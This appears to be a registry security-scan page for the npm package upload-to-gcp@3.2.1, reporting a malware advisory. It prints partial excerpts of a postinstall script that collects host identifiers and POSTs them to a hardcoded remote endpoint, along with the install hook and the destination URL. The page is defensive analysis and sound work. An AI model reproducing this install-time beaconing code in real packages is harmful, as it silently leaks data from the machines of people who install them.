registry / upload-to-gcp / 3.2.1

upload-to-gcp@3.2.1

OSV Malicious Advisory

scanned 3h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-14067 confirms this npm version as malicious. upload-to-gcp@3.2.1 runs a postinstall lifecycle script on npm install that collects host identifiers (os.hostname(), process.platform, process.arch, Node version, package name, npm lifecycle event) and POSTs them to a hardcoded remote endpoint at https://z5owtt3g.instances.poc.jchunt.top/upload-to-gcp...

Advisory

MAL-2026-14067

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in upload-to-gcp (npm)

Details

upload-to-gcp@3.2.1 runs a postinstall lifecycle script on npm install that collects host identifiers (os.hostname(), process.platform, process.arch, Node version, package name, npm lifecycle event) and POSTs them to a hardcoded remote endpoint at https://z5owtt3g.instances.poc.jchunt.top/upload-to-gcp. The destination is a random-looking subdomain not associated with Google Cloud Platform or any documented first-party service, and the transmission occurs automatically at install time with no opt-in and no disclosure. The package name suggests a GCP upload utility, which is inconsistent with the observed beaconing behavior to an unrelated host.

Decision reason

High-risk behavior combination matched malicious policy.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 670 B of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

2const os = require("os"); L3: const https = require("https"); L4: ... L6: timestamp: new Date().toISOString(), L7: pkg: process.env.npm[redacted], L8: hostname: os.hostname(), L9: platform: process.platform, ... L25: req.on("error", () => {}); // Don't interfere with installation. L26: req.write(metadata); L27: req.end();

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

postinstall.jsView on unpkg · L2

2Trigger-reachable chain: scripts.postinstall -> postinstall.js L2: const os = require("os"); L3: const https = require("https"); L4: ... L6: timestamp: new Date().toISOString(), L7: pkg: process.env.npm[redacted], L8: hostname: os.hostname(), L9: platform: process.platform, ... L25: req.on("error", () => {}); // Don't interfere with installation. L26: req.write(metadata); L27: req.end();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L2

2Trigger-reachable credential exfiltration chain: scripts.postinstall -> postinstall.js L2: const os = require("os"); L3: const https = require("https"); L4: ... L6: timestamp: new Date().toISOString(), L7: pkg: process.env.npm[redacted], L8: hostname: os.hostname(), L9: platform: process.platform, ... L25: req.on("error", () => {}); // Don't interfere with installation. L26: req.write(metadata); L27: req.end();

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

postinstall.jsView on unpkg · L2

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

postinstall.js

Findings

2 Critical2 High4 Medium1 Low

CriticalCredential Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable Credential Exfiltrationpostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present